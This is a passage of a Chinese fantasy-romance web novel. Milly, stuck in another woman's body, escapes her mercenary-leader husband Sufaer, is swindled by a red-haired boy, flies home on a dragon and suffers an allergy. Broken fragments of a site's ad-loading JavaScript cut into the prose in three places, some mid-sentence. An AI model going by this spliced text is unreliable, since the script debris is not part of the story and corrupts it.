莱恩还在琢磨别人的婚姻关系,苏法尔对她颔首道谢,随后快步出去,临走时还带走了咪莉留下的书籍。 一条商店琳琅的宽阔大道上,咪莉往前奔跑着,白色裙摆微微扬起,像一只灵巧轻盈的蝴蝶穿梭于人流。 三分钟前,咪莉在洗手室里时突然发觉自己周边已经空无一人,是最佳逃跑时机,于是她左看看右望望,最终锁定距离地面两米多高的玻璃窗。 旁边有洗漱台作垫脚,咪莉不怎么费事地就轻松爬了上去,她身材娇小,很容易就打开窗户钻了出去,虽然外面的落地高度令她两眼一黑差点腿软,但是相比身后的某恶霸团长,她摔断腿也要跑。 咪莉眼一闭,心一横,纵身一跃。 出乎意料的,她安全落地,多亏有自小就练过的半吊子防身术打底,下次再有这样的纵跃机会,她一定得摆一个非常帅气的动作,现在她双手按在地上的青蛙姿势实在有些蹩脚。 所以现在咪莉成功逃离恶霸团长的魔爪了。 咪莉心里越发激动,她要找辆马车逃,毕竟仅靠双腿还是非常慢的。 怕在敞亮的大路上招人注意,咪莉准备拐进周围的小巷绕路,忽然,她撞上了一个人,对方纹丝不动,她跟个弹簧一样被弹出去一米步子惯性退后又一米,差点坐在地上。 “喂,走路没长眼睛吗?差点打翻我的多达克红榴糖蜜啊!” 被撞到的人是一名大概十四五岁的红发蓝眸少年,他上身穿着件半圆领灰色半袖,外罩一件紫色无袖短衫,下身是件灰色武士裤,一双黑色皮靴崭新发亮。 咪莉有些愣怔,眼前的少年和她差不多高,虽然脸上表情可以说是非常凶神恶煞,但这张脸却非常精致,一头碎乱的红发四处炸起,又很毛茸茸的柔软样子,像个热烈的小火球般灼灼耀眼。 “喂,你耳朵聋了吗?”红发少年不耐烦地看着洒了自己一手的红榴糖蜜果汁,这可是他在后面那家店里排了好久才买到的,每个人一天只能限量一杯,因为原材料红榴出自危险森林多达克,只能限量供应,现在却全被糟蹋了。 咪莉抱歉地抓抓头发:“对不起,我不是故意的,我可以重新买一杯补偿给你。” 红发少年冷嘁:“你知道它有多难买吗?一天只卖两百份,今天的已经销售完了,再想喝就只能明天早早去排队,就算排了队也不一定能买到。” “呃……”咪莉看着少年手里那杯已经洒了一半的果汁,这难道是天神降临的甘露那样珍稀吗?她明天排队去买也是不可能的了,她得尽快离开这里,一秒都不能多逗留。 咪莉摸了摸裙子,不仅没有钱,连个装钱的口袋都没有。 下次不管穿什么衣服一定要选带口袋的,不然真的是太不方便了。 “那我该怎么补偿你?”咪莉灰心丧气地问着少年,还时不时注意周围有没有人跟来,苏法尔那个精明的人肯定已经发现她跑了。 少年一口干完杯子里剩下的红色果汁,将空的透明杯子稳稳抛进墙角置放的垃圾桶内,看得出来身手不凡,绝不是一个普通少年,他用那只沾了果汁的手举在身前比了个数字五的手势,蓝色双眸闪烁着炯炯光芒:“你赔我五百银币就好了。” “五百银币?!”咪莉的眼睛瞪成不可思议的滚圆形状。 8. “我失忆可不是装的!” 讹诈!这绝对是大写加粗的讹诈! 500银币都可以给家里添一套沙发了! 这个长得人模人样的少年竟然这么无耻,和苏法尔绝对是一类人。 “怎么会有五百银币的饮料啊,你这不是摆明了要讹诈吗?”咪莉不悦地咬着牙,已经在心里把世界上所有的坏人都和苏法尔归为一类了。 “我才不屑做那种卑鄙的事。” 少年的手特别好看,虽然被果汁弄脏了,但指骨匀称又充满力量感,修得整整齐齐的指尖还带着未成年的嫩气,看着那双手做动作绝对很赏心悦目。 不过咪莉看了十分冒火。 因为少年那只伸出五根的手指弯回去四根,留出食指指向自己胸前的罩衫说:“这杯饮料确实不值五百银币,是89银币,剩下411银币是赔偿我衣服的价格。” 少年收回手垂在腿边没有碰到衣服,另一只干净的手叉着腰,眼尾微挑的圆润眼睛斜睨着咪莉,一副不满的跋扈模样:“我还没跟你要精神损失费呢,你刚刚突然像个大耗子一样窜出来吓到了我,不过看你这副寒酸的样子,我大发慈悲地不和你计较,所以你只需要给我500银币就好了。” 说罢他又伸出那只漂亮的果汁爪子摊在咪莉面前,挑挑眉示意,眼眸的淡蓝也随着微眯的动作加深了些。 别说500银币,就是饮料的本价89银币咪莉都拿不出来。 大城市寸土寸金,果然不是她这等小平民能消费得起的。 “我身上没有带钱。”咪莉不甘,自认倒霉地认下这笔赔款,“等我回家拿到钱给你。” 还有谁是大耗子啊,你这臭小子才像个红毛大耗子!说一个女孩子像只大耗子,简直可恶!你肯定找不到女朋友的! 咪莉暗暗腹诽,不过脸上肯定也已经表现了出来。 少年眼眸一动,有些惊讶,他没想到还真有人会被他的几句话给唬住,不过也有可能是这女孩的缓兵之计反过来骗他呢? 他上下打量了一下女孩,简简单单的清爽穿着,有些毛躁的黑发随意披在肩头和身后,小巧的脸蛋因为跑得急变得粉扑扑,像明净纯洁的粉色蔷薇花一样柔雅,那双明亮的黑眸里含满对他的怒火,浑身朴素得连个首饰都没,看来用什么东西抵押也不成了。 咪莉见少年长久地盯着她不说话,那滴溜溜转的眼神分明是在从她身上找什么有价值的东西,她往后看了看,着急要走,心里头忽然冒出一个名字,于是便说:“我丈夫是黑暗佣兵团团长苏法尔,你可以去找他要,一分钱都不会少你的,我是真的有急事,实在抱歉。” 咪莉抬脚就要离开,又被少年伸手拦住,少年瞪圆了他的蓝色眼瞳:“什么?那个变态苏法尔也会娶老婆?就是你?” 少年很是不相信地盯着咪莉的脸看,听他的语气还是和苏法尔认识的。 可咪莉不是正牌伊瑞妮,她不会作为苏法尔的妻子去和别人寒暄问暖地说“是啊我就是他妻子”、“你认识我丈夫?”“那可真是太巧了”等等话语。 咪莉只想赶紧走,她急不可耐地说:“对对,所以你去找苏法尔要赔偿就行。” “如果是他的话那我更不会去找他了。”少年一个闪身又截到咪莉面前,把急吼吼要跑的她吓了一跳,她从来没见过这么快的速度,简直像瞬移一样,“我可不想遇上那个变态。” 看少年眼里饱含怨怒的样子,估计是和苏法尔有过什么不快发生。 可咪莉没时间听别人的往事,她怒瞪着这少年:“我不会赖账,但我现在有急事……” “我替她赔偿。”不知道什么时候到的苏法尔出现在了巷子口,声音听不出什么起伏情绪,脸上也没有因为咪莉逃跑而表现出任何怒气。 咪莉心脏瞬间一紧,惊慌地转过去头,紧抿着唇看着苏法尔走过来,停在她身边,没什么情绪地瞥了她一眼,然后对那红发少年露出个微笑:“要多少?” 少年发着愣,等确定面前的男人就是苏法尔后,浑身好像炸毛般紧绷着神经迅速后撤两大步:“500银币。” 心中极度害怕苏法尔,但还是坚持要钱。 咪莉怔怔地看着少年敏捷的举动,直觉这两人之间发生过什么。 苏法尔从怀里拿出五张面值一百的钱币夹在双指之间,手腕一翻,轻飘飘的钱币便非常听话地落到少年面前,少年也很精确无误地接住。 一时之间没有一个人说话,空气凝滞到让咪莉觉得像被蛛网黏住了一样动弹不得。 就在她终于要忍不住开口时,苏法尔忽然说:“你父母管你那么严,是偷溜出来的吗?” 咪莉看了一眼苏法尔,确定他问的是那个红发少年。 少年顿时杀气四溢,像个孩子一样暴躁:“怎么!关你什么事!别人家的事你少管!” 这少年性格真够火爆的,就像他的红发一样。 咪莉面无表情地看着少年。 苏法尔优雅一笑:“只是随口问问,一个人出门在外应该挺不容易,要靠敲诈女孩子生活。” 苏法尔的眼神充满恶意的同情,咪莉顿感无语,觉得这个男人真是恶劣到了极点,不仅欺负女孩子,还欺负比他小好几岁的男孩子。 明明就在刚刚她还埋怨这个男孩子一直拦截她,现在居然对他莫名多了种同病相怜感,难道这就是所谓的敌人的敌人就是朋友? 苏法尔这个男人真是大多数人的公敌啊,平常肯定也不怎么得下属的心吧。 咪莉脑子里忽然冒出了一副晚年苏法尔一个人孤单寂寞地坐在大街上的苍凉情景…… “你不要乱说,我这衣服是高级货!一千银币买的!我看你老婆浑身上下冒着穷酸气还好心打了折,不领情就算了说什么人敲诈?”少年气得差点全身喷火。 咪莉脸色变绿,刚才说她像大耗子,现在又说她穷酸气,她要忍住,不然她一定会上去抽这少年嘴巴子。 苏法尔却莫名笑了,相比对面少年的暴跳如雷,他泰然自若到了如神境界:“那是我误会你了。” 咪莉看着这两人,有一种看主人逗弄小型宠物犬的既视感,不过她感觉这种情景十分熟悉,就好像她也经过过一样,当然她是被逗的一方。 苏法尔朝神游中的咪莉说:“伊瑞妮,走吧,天要黑了。” 咪莉恍然回神,呐呐地跟了两步,又回头看看那个气势汹汹的炸毛少年,下意识地挥了挥手:“再见。” 如同和友人告别一样。 少年愣住,看着那离开的两个背影,过了会儿后他咕哝一句:“一定是被这变态骗去做老婆的,真是笨。” 这里的天黑得很早,才将近五点而已,大地就陷入一片昏暗之中,由各处的灯笼点亮,许多店铺到了关门时间,饭馆生意却是异常火爆。 两人无声地走出闹市区,朝冷清的城门口走去。 咪莉看向苏法尔宽阔的行走背影,眼里诸多疑惑和不安,他不问问她为什么要逃吗?这次回去她会不会被采取什么强制手段关起来呢?名义上他们是夫妻,但她感觉不到一点苏法尔对伊瑞妮的感情。 这个男人总是用温柔的外表掩饰自己内心的残忍,并且觉得一切都理所当然。 咪莉有些害怕地缩了缩肩膀,低下头,紧握着拳,脸埋进了长发的阴影之中,睫毛不可控制地轻颤了下。 她觉得自己好像个犯人。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 听着身后那道轻盈的脚步声越来越慢,苏法尔停下来,回过身问咪莉:“怎么了?” 这是他们刚刚一路走来的第一句交流,咪莉忽然心底一酸,诸多情绪涌上。 才过了短短一天,就觉得过了一年那样久,她很想妈妈明明说过很多遍但依然重复说的话,也很想奥倾哥哥边教她防身术边夸她的话。 更想妈妈和奥倾哥哥。 眼前慢慢压下来一片阴影,咪莉没有抬头,对来到她面前的苏法尔低声说:“苏法尔,我想回家。” 苏法尔点点头:“我和你回去。” 咪莉惊愕地抬头:“真的?” 看着咪莉眼中微闪的水光,苏法尔语气不自觉地软了许多:“嗯。” 十分钟后,咪莉随着苏法尔来到了伊瑞妮的那间双层小阁楼面前。 咪莉大喜大悲的心情只在一瞬。 苏法尔对女孩表情的变化产生些疑惑:“你看起来很失望。” 咪莉崩溃,她真的好想对苏法尔大吼说“我不是伊瑞妮啊啊啊啊”。 可惜制约牵制,她不能说出自己的真实身份。 不能对苏法尔坦白,也不能对她妈妈和奥倾哥哥坦白,目前唯一办法就是再次使用灵魂转换重回自己的体内。 咪莉整个人都弥漫着颓丧气息,恹恹无力地说:“没有,是有点累了。” 咪莉走到那道双扇沉木前,眼神在上面晃了好半天,然后回头说:“我没钥匙。” 苏法尔走过去,黑眸在黄昏下格外漂亮,深邃的瞳孔上晕染着迷蒙浅金,好像洒下光辉的海面,他无声地注视着咪莉,眼尾微弯,笑意明显,脸上明明白白写着“装得还挺像那么回事”。 咪莉压下怒火:“我失忆可不是装的!” 这男人从头到尾就没相信过她失忆!可恶,她演技这么拙劣吗! 苏法尔没有回答他,只是眼里的笑意更加耐人寻味,转身弯腰在石台上放的一盆积雪花里头摸出一把铜钥匙。 “你怎么连,”咪莉顿了下,把准备说的伊瑞妮名字咽下,“……我家钥匙都知道在哪里?” 看来这两人之间已经熟悉到有对方家里钥匙的地步了。 苏法尔将钥匙插进门孔轻轻一转,门锁咔哒一声,往里一推,门开了个小缝,里面黑呼呼的,他侧头对睁大眼睛的咪莉说:“我们来往挺频繁的,自然而然就知道了。” 那双弯弯的黑眸,盛满了坏男人专属的特性,专门哄骗懵懂少女的勾引眼神。 咪莉皱眉哼了一声。 她回想了下自己和奥倾哥哥的恋爱,已经记不太清她和奥倾哥哥是如何有了双方家里钥匙,只记得确定恋爱关系那天是在一个晚上,两个人吃过晚饭跑到森林里看金翅凤尾蝶。 在天的尽头,深蓝色的极光晕染着暖黄,星沙银河笼罩着那片墨绿色的森林,大地上的草叶带着清新水珠,金翅凤尾蝶群从茂密浓绿的枝叶缝隙里飞来,漂亮的凤尾在夜色中拖曳出一道道柔和光芒。 星星点点的光团映亮他的金色瞳孔,和他那头柔软的金发。 奥倾哥哥对她说:“咪莉,做我女朋友好吗?” “在想什么?” 苏法尔打断了咪莉模糊的回忆,点开了屋里的魔法灯,昏黄的空间霎时一片明亮,衬得外面天色更为黯淡。 咪莉恍然地看着站在屋子里的男人说:“在想你为什么是黑发。” 苏法尔轻笑,低下头去,伸出食指触摸着柜桌上一个空的透明试剂瓶。 过了几秒,他仰起脸,透过厚厚的玻璃窗看向外面清冷的街道,脸上露出微微放松的神情:“因为我的父亲是黑发呀。” 9.小黑龙 他的脸庞就像个孩子那样柔和清澈,咪莉忍不住好奇问:“那你父亲呢?” 从昨天起她好像没有见过苏法尔的长辈,一般来说结婚这么重大的事情,长辈都会陪在身边的,就像她的妈妈总是忙前忙前围着她转,生怕她出了什么差错。 苏法尔看向咪莉,漆黑的双眸笑意很淡:“他已经不在了。” “啊,抱歉。”咪莉再怎么不喜欢这个男人,也觉得自己的言语有些冒犯,她转头随意看着这间屋子,忽然又说,“我也没有父亲呢。” 苏法尔听出了女孩有些笨拙的安慰,他笑了一下,低头拿起桌上摆放的一些镊子小工具在手里把玩。 两人也没有再交流什么,咪莉转身在这间伊瑞妮的房子里到处逛,她想了解一下这个坏女人的生活。 苏法尔,伊瑞妮,这两个人在某种意义上其实很般配,一个性格恶劣道貌岸然,一个使用大魔法强行破坏她的人生。 一阵轻微的踩踏楼梯声响起,正在低头研究桌上那些瓶瓶罐罐里的标本花瓣的苏法尔回过身抬头,看见那个女孩正上着楼梯,面色微怒。 真是动不动就生气啊,可是他刚刚好像没有做什么比较可恶的事? 苏法尔微不可见地皱了皱眉,忽然有一种想上去问问她为什么又生气的冲动。 但他什么都没做。 他放下手中的一瓶金兰菊干花,拿起桌上摆放的笔记本,翻开后里面是伊瑞妮手写的各种花类配料比例。 二楼是伊瑞妮的卧室,还有一间洗浴室,屋子里有什么都一目了然。 靠窗的位置有一张松木写字台,上面摆放着两瓶蓝色郁金香点缀,然后是各种制作花卉魔法道具的小工具们。 咪莉看不太懂,她拿起一朵有着四瓣白色细长花片的花在手里观察,翻转过来后,上面贴着一个特别小的金色标签,上面的字更是如蚂蚁一般小。 咪莉眯了眯眼才看清上面写的两个字是“染眉”。 咪莉又拿起桌上一朵花瓣层层叠叠簇拥的大团粉紫色花,翻开看上面写的标签字:染唇。 咪莉再次拿起一片薄薄的只有三瓣花的天蓝色花朵,翻开看:冷雪香。 落日菊香。 小甘苹香。 积雪花香。 日及香。 荼靡香。 …… 这些花只有花瓣没有枝茎,不知道离根多久了,依然保持着刚摘下来时的柔嫩冰凉感,手指似乎还能感受到花瓣的朝气。 咪莉正一一查看着这些看不懂的标签时,苏法尔已经上来了,他的手里还拿着一只拇指般大小的花剂瓶,他问道:“这些你也都不记得了吗?” 咪莉脸上对这些花的疑惑真实得不能再真了,她点点头:“我以前应该是个很爱分类的人。” 桌上的所有东西都摆放得整整齐齐,这些花也是她刚刚才拿乱的。 苏法尔来过几次伊瑞妮的家,他认同地说:“确实,你还有很严重的洁癖,例如花剂瓶上不可以留下任何印记,瓶身一定要干净透亮。” 咪莉举起写着落日菊字签的花说:“染眉染唇的我能理解,这些又是什么意思?” 苏法尔也轻轻拿起一朵花捻在指尖,蓝盈盈的花瓣冰清玉洁般高贵:“带‘香’字的是香水,催动魔法可以让它化成一缕水烟融进体内,由内而外地散发香气。” 他把那朵蓝色冷雪香凑近些咪莉:“就像这样。” 咪莉并没有看到他做了什么,他指尖的花便瞬间幻化成如精灵挥舞翅膀时飘散而出的柔和星光,慢悠悠覆盖她的身子,直至什么也没有留下,空气中却多了一抹冷冽的清新气息,仔细一闻,是她身上散发出来的。 “真神奇。”咪莉特别惊喜地抬起手臂到处闻自己,“好好闻的味道,像雪,还像森林里的露水味道。” 伊瑞妮的这种魔法非常得她的心。 “女孩子们应该都喜欢这种打扮自己的魔法。”苏法尔含笑地看着她,“你就是靠这种手艺生活的,就连王室的公主们也非常喜欢你制作的各种花香。” 咪莉不解:“可是制作香水的方法不是很多吗?不用魔法也能做到呀。” 苏法尔笑着轻摇头,抚摸着桌上摆放的漂亮花朵:“你说得对,但你做出来的香水是不一样的,你没有发现这些花并不是常见的吗? 他如意料中地看到了女孩惊讶的神情,才继续缓缓说:“这些花是你使用魔法栽培出来的新品种,其他魔法师可没有这种纯粹的自然力量。” 苏法尔看向手中一直拿的那个透亮花剂瓶:“这些花喜欢你,才赋予你使用它们的权利,我就做不到。” 苏法尔倒是谦逊,咪莉不走心地夸赞了他一句:“你也很厉害好嘛,你可是大名鼎鼎的佣兵团团长,多少人听见你的名字都瞬间打抖。” 忽然想起那个红发少年了,她又说:“比如刚才遇到的那个红发少年,他见了你就跟耗子见了猫一样恐惧,你是不是欺负过人家?” 那少年说她像大耗子,她也要说回来。 “在我印象中是没有的。”苏法尔浅笑,他在屋子中慢慢踱步,四处打量,“他是魔王撒伦比的宝贝儿子,叫钴赫,是个很爱骗人玩的小鬼头。” 他回过头说:“以后再碰见他,别又被他三言两语就骗了。” 他的眼神里满是对咪莉的调侃,咪莉觉得下了面子,气道:“我才不会被人骗,还有你才是最爱骗人的那一个。” 咪莉在屋子里晃了一圈,除了简单的生活用品,就是那些制作魔法用品的工具了,没有留下任何线索。 她想问问苏法尔知不知道灵魂转换这一大魔法,但随即觉得苏法尔这人太过敏锐,稍微一转脑子就知道她在想什么,她还是不要做这些可能暴露身份的事情,她可以自己查阅魔法书。 这里没什么可看的以后,两人就回家去了。 咪莉问苏法尔拿那个小瓶子做什么。 苏法尔拿的小瓶子里装的是一小节带着细嫩根茎的蓝色鸢尾花,他召唤出自己的黑翼龙说:“这个是可以消除疤痕的花,我有个手下需要,正好拿给她,可以吗?” 你拿都拿了还来问。 咪莉忍不住白他一眼。 那条傲世万物的黑翼龙“咻”地一下从远方窜来,两支硕大的骨翼掀起的风差点把咪莉吹飞,看得出这家伙心情特别高兴,不知道从什么好地方回来了。 咪莉拽住自己的裙子不让自己走光,在强风中眯着眼隐约从那头龙脸上看出春光满面的表情。 是约会回来了吗? 肩上忽然压下来一只手掌,咪莉转头看去,是苏法尔按在她的肩上,估计是怕她被吹跑。 苏法尔微微上前,挡住绝大部分的风,对那头兴高采烈还想仰天嚎两嗓子的恋爱龙说:“小黑,注意翅膀的力道,伊瑞妮比较轻 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,她会被你吹飞的。” “噗!”咪莉笑出声来,这么霸气凛然的黑龙竟然取这么迷你可爱风的名字。 “嗷——!”小黑张开大嘴巴冲咪莉怒吼。 然后它又秒变委屈巴巴的神情看向主人,金色瞳孔里无声质问道:为什么要给我取这么不好听的名字!看吧看吧被你老婆笑话了! 苏法尔无视小黑充满怨气的控诉,回头对吓到缩着脖子惊恐万分的咪莉说:“走吧。” “不行,我不要坐小黑,它刚刚还吼我,说不定会把我从天上扔下来。”咪莉瞪着小黑,小黑也瞪着她。 苏法尔安慰她说:“不会的,小黑其实很听话,是个特别会照顾女孩子的好龙。” 他说完后又向大黑龙确认一遍:“对吗?小黑。”语气这样温柔,但眼里施加的气势却令龙收敛起自己的锋芒。 小黑从鼻子里哼哼唧唧了半天,为了维持自己好龙的形象,只能伏下头颅瞅了咪莉一眼,一副“懒得理你”高贵模样。 咪莉犹疑地跟着苏法尔走上前,准备等苏法尔先上去她再跟着上去,却没想到苏法尔抓住了她的手腕,然后两人就这么悬浮着飘了起来,十分优雅地落到了小黑龙背上。 苏法尔找了个舒服的姿势坐好,然后将呆愣的咪莉拉过来坐到他前方,两人之间隔开着约半臂长的距离。 咪莉轻轻压低上身,双手按在小黑坚硬黑亮的身上,兴奋地睁大眼睛等待小黑起飞,等见到妈妈后她一定要跟妈妈说自己坐过龙了,还是世间非常少见的黑翼龙。 不用主人指示,慵懒的黑翼龙便展开双翅稳稳起飞,估计是因为突然多了一个人,它的速度变得比平常慢一些,还不太习惯载除了主人以外的人。 随着飞得越来越高,咪莉的心几乎已经跳到嗓子眼,她呼吸紧促地往底下望,感觉到全身血液都在沸腾,然后激动地咧开嘴笑着。 苏法尔垂下眼,可以看见女孩充满喜悦的粉嫩脸庞,长长的黑发绕过她白瓷般的耳朵舞向身后,后背上的白色蝴蝶结丝带缠绕在黑发中,若隐若现。 怎么以前没有发现伊瑞妮这样可爱呢? 苏法尔望着女孩翻飞的发丝出神着,他听见自己的声音已经不经过他大脑响了起来:“很开心吗?” 咪莉正沉浸在高空中飞翔的自由解放感中,没听清苏法尔说什么,她放大声音“啊?”了一声。 苏法尔笑了笑,凑过去在咪莉耳边又问了一遍:“很开心吗?” 咪莉笑得看不见眼睛:“当然开心,在天上飞的感觉是一种很美妙的体验,我以……” 说到这里,咪莉迅速闭上嘴巴,差点露馅。 见女孩忽然不说话了,苏法尔伸手顺了顺她和后背丝带缠在一起的黑发说:“你的那头银龙叫小银,脾性比小黑要温柔多了,以后可以骑着小银多转转。” 听到这话的小黑瞬间不满,嘶吼一声来了个侧翻滑翔。 咪莉大惊失色,尖叫着在龙背上胡乱抓着,结果黑森森的鳞片不好抓,吓得她下意识要趴下去,忽然整个身子都被捞走,靠在了一个非常宽阔的怀抱里。 苏法尔双臂一伸拦住咪莉的腰搂向自己,两人身子微微倾斜了一瞬后,依然稳稳当当地坐在龙背上。 苏法尔看了看紧靠自己的女孩,她紧闭着双眼,睫毛乱颤,身前握紧的双拳泛了白,他抓住其中一只小小的拳头握在手心里说:“没事了。” 10.要睡一张床?! 咪莉仍旧惊魂未定,她握住的拳头在苏法尔手里轻轻战栗,胸腔起伏不定,双眸里满是恐惧。 苏法尔见女孩吓得不轻,握了握手心,将她抱得更紧了些,脸庞展露出一丝柔软:“伊瑞妮,别害怕,小黑只是逗一逗你,它是不会做出伤害主人的事情来的。” 苏法尔的声音近在咫尺,咪莉终于从惧怕中惊醒,她回过头朝他发脾气,要把刚刚受到的惊吓都发泄出来那样:“我刚刚差点就要掉下去了!你的龙和你一样坏!” 她并没有察觉到自己和苏法尔的姿势有多亲密,只是一股脑地发泄。 “对不起。”苏法尔向她道了歉,语气很诚恳,还掺杂些无奈,心里直怪小黑发神经惹恼女孩,因为他真的不擅长哄女孩子。 可是他又觉得这样挺好,好在哪里他不清楚。 他更近地看清了伊瑞妮柔美的脸庞,绚丽多彩的夕阳霞光将她的脸描绘成一幅美丽生动的画,清透粉润的肌肤似有海棠般的润泽。 苏法尔一句简简单单的道歉,咪莉只能熄火,她不要做无理取闹的人,扭过头不再理他,只是后知后觉地才发现,两个人挨得有多近。 她的整个背部都贴在他怀里,她的身体甚至能感受到苏法尔胸前那沉稳有力的心跳。 咚,咚,像连接着她的心房,鼓动起她的心脏同频。 她迅速往前移了移身子,拉开距离,脸上有些发热,连身子也是。 她只好将手心贴在黑翼龙的身上试图降温。 苏法尔也微微松了力气,只是怕她乱动什么的闹出意外,便仍旧拢着手臂。 到了那座深山老林的宫殿后,咪莉从小黑身上蹦下来,这次落地姿势很帅气,她满意地直接往屋子里走,留下原地一人一龙。 大黑龙趴在地上一副受气包模样,它知道自己做错了事,蔫头巴脑的,想让主人心软不骂它。 苏法尔没好气地瞪着这只装可怜的庞然大物:“下次不许这样了。” 大黑龙连忙点着它巨大的头颅,双瞳无比坚定。 苏法尔拍拍它的眼皮说:“等格雷回来后,把这只魔法花剂带去给他。” 他把一直带着的蓝色鸢尾花剂放到小黑的长鼻子上,小黑本想点头,差点让那对它来说是蚂蚁般大小的瓶子滑落,连忙用爪子轻轻勾起,密不透风地包在爪心,然后甩着尾巴飞走了。 苏法尔朝屋里走去,咪莉正坐在沙发上翻看她带回来的那些魔法书,还有伊瑞妮的花卉配料记录和植物大全等书,见苏法尔进来了,只看了他一眼便又继续做自己的事。 苏法尔走过去说:“晚上要吃什么?” 咪莉应付道:“都可以。”她抽出一本高级魔法大全翻开,在目录界面仔细查找。 苏法尔让人准备了食物,他坐到沙发的另一旁问:“不是说要从入门的魔法重新学习吗?” 咪莉低头在目录界面用手指一一略看,她的头抬也不抬:“要你管。” 苏法尔好笑,然后也随手拿起一本魔法书,两人就这么无声地坐着各自看,空气里只有沙沙的翻页声。 等到该吃饭的时候,咪莉终于翻完所有目录,确定没有灵魂转移这项魔法后,失望地靠在沙发上,望着悬高的天花板嘀嘀咕咕:“为什么没有呢……” 苏法尔耳力了得,看过去问:“没有什么?” 咪莉自然不会告诉他,在胸前交叉着手指头一点一点地玩:“没什么。”然后她起来朝餐桌走去,坐那里开始用食。 今天晚餐里有一道特别鲜美的菌汤,咪莉很喜欢菇类食物,可惜她蘑菇过敏,一直都不能吃。 现在她是伊瑞妮的身体,或许不会过敏呢?她可以借伊瑞妮的身体来享受美食啊。 咪莉顿时欢欣雀跃,盛了一碗热乎乎的菌汤放在自己面前小口小口地啜。 苏法尔吃得慢,他总是时不时地抬眸看向对面吃饭的女孩,见女孩喝汤喝得开心,他也盛了一碗尝了尝。 嗯,味道和平常没什么两样。 他又看着她,觉得伊瑞妮从一个明雅落落情绪内敛的女孩变成了一个喜怒形于色的孩子,这一点好像是从昨天婚礼上开始转变的。 她的心情都很直接地表现在脸上,高兴就是高兴,生气就是生气,她整个人的感觉就像某种鳞翅动物初长的七彩流光翼膜,绚丽耀眼,又柔软得用手指戳一戳就会凹进去一个指尖形状,嫩生生的。 苏法尔说:“伊瑞妮,你变了很多。” 刚喝完一碗菌汤的咪莉正虚着脸色,她觉得身体有些不对劲,浑身的力气像是被一丝丝抽走了似的,头脑发热,心闷气短。 这种症状就是她小时候吃过蘑菇后的过敏症状。 咪莉瘫坐在椅子上,仰着脸叹气,根本没有心思去应付苏法尔的怀疑了,她以为换具身体就可以吃蘑菇了,结果伊瑞妮也是个蘑菇过敏的人。 她抓抓心口,难受地说:“苏法尔,我过敏了。” 然后就是咪莉浑身冒汗呼吸困难地被震惊的苏法尔放去沙发上挺尸,时不时猛呼吸一口气。 苏法尔在一旁担心地摸了摸咪莉的脸,想试试体温,被咪莉一爪子拍走。 看来力气还是有的。 “我让医师过来给你看看。”苏法尔说着就要往外走。 咪莉哼哼哧哧地应了一声,忽然想到医师会不会检查出伊瑞妮体内的灵魂已经变成其他人了呢? 这可不行,要是被检查出来了还得了? 于是咪莉用上她全身力气抓住苏法尔惊叫:“不行!我不看医生!” 苏法尔看着她,她的脸颊上晕染着浅粉,鼻尖上冒出细细的汗珠,表情倔强得仿佛只要找医生她就会立刻扑上来咬他。 他俯下来身子说:“可是不找医生怎么行呢?你的状态很糟糕,我也不是治疗系的魔法师。” 不论苏法尔怎么说,她都不肯让步,苏法尔也不会随她,直接起来去外面找侍卫喊医生来。 咪莉悲愤欲绝,又提心吊胆,生怕自己身份暴露。 结果来的医师是她见过的娜娜。 烧糊涂的她终于想起,娜娜是给她检查过身体的,并且没有发生任何异常。 她长舒一口气地埋在被子里,被自己蠢哭。 “给她施了两个治愈术,再吃点药,明天就会好了,她的身体很健康。”娜娜站在床边,看着在被子里盘成一小坨的过敏患者,有些调侃,“不过伊瑞妮好像很抗拒我给她检查身体,在防备什么呢?” 咪莉听见她的话后愣了愣,又把被子往身上堆高了些没有吭声。 这些人一个个得跟侦察家似的那么析微察异,相处起来真是心累。 苏法尔看了看床上的鼓包,和娜娜又确认了下咪莉确定没什么大问题后,又聊了其他几句。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 娜娜说格雷从椰海办事回来了,还带回来一个男巫,名字叫纳洛,说纳洛妖里妖气,性格特别诡异。 苏法尔听后笑了笑,说明天再见见格雷和纳洛。 然后娜娜嘻嘻地走了。 咪莉蜷缩在被子里一动也不动,两人的交谈内容她听着听着就快睡着了,然后是渐渐离去的两道脚步声。 没过一会儿,其中一道沉稳的脚步声便回来了,停到了她的床边,苏法尔声音响起:“伊瑞妮,睡了吗?” 咪莉困唧唧的,睁不开沉重的眼皮,心想那什么治愈术真厉害,催眠效果一流,她从喉咙里黏黏糊糊地“嗯”了一声,努力掀开眼皮想看一看苏法尔。 苏法尔见咪莉强睁开眼睛的困倦模样,不由拍拍她身上的被子说:“我去给你拿水,吃了药再睡。” 咪莉把眼皮合上,没回答,也不知道是听见了还是没听见。 苏法尔拿回来水,叫了几声“伊瑞妮”,没得到回应,只好从被子里把睡得迷迷糊糊的人挖出来,一口药一口水地喂。 咪莉意识半睡半醒,嘴里头有酸酸涩涩的药片塞进来,她知道是苏法尔在喂她吃药,水杯凑到她唇边后,她很自觉地低下脸去饮,咕噜咕噜地就喝了两大口,把药吞下去。 她终于睁开黏答答的眼皮来,看见苏法尔坐在床边,正往床头柜上放着水杯,她忽然想起一个人来。 那个人有着金色的头发和金色的眼眸,在春色洋溢的小院子里,他捉起她的长发在手里编织着辫子,然后在辫梢插一朵小小的粉色雏菊。 奥倾哥哥。 她被重新放回枕头上,愣愣地看着苏法尔的脸,和奥倾完全不一样的一张脸。 “不困了吗?”苏法尔给她掖掖被子问。 咪莉摇摇头,困意仍旧侵袭着她的大脑,但她不敢睡了,她怕在梦里见到奥倾,然后忍不住哭出来。 “我想看魔法书。”咪莉的声音有气无力,带着一点点鼻音。 苏法尔听出了咪莉的不对劲,他注视着眼睛微微泛红的女孩:“不舒服就休息,明天再看也不迟。” 咪莉偏不要,粉润的小脸上布满执着:“不,我现在就要看。”说完她还皱起眉,大有不给她看她就自己去拿的决心。 苏法尔无奈,起来去拿:“好吧,不过只能看一小会儿,撑不住了就睡。” 他拿来一本魔法书给咪莉,咪莉已经靠坐在床头了,她翻开书来看,浏览着那些晦涩难记的一条条咒语。 时间过得很快,一眨眼就从晚上到了夜里,因为能学习魔法的缘故,咪莉其实处于很亢奋的一种状态,她几乎读完了一整本咒语。 当然混乱成一片浆糊的脑子并没有记进去多少。 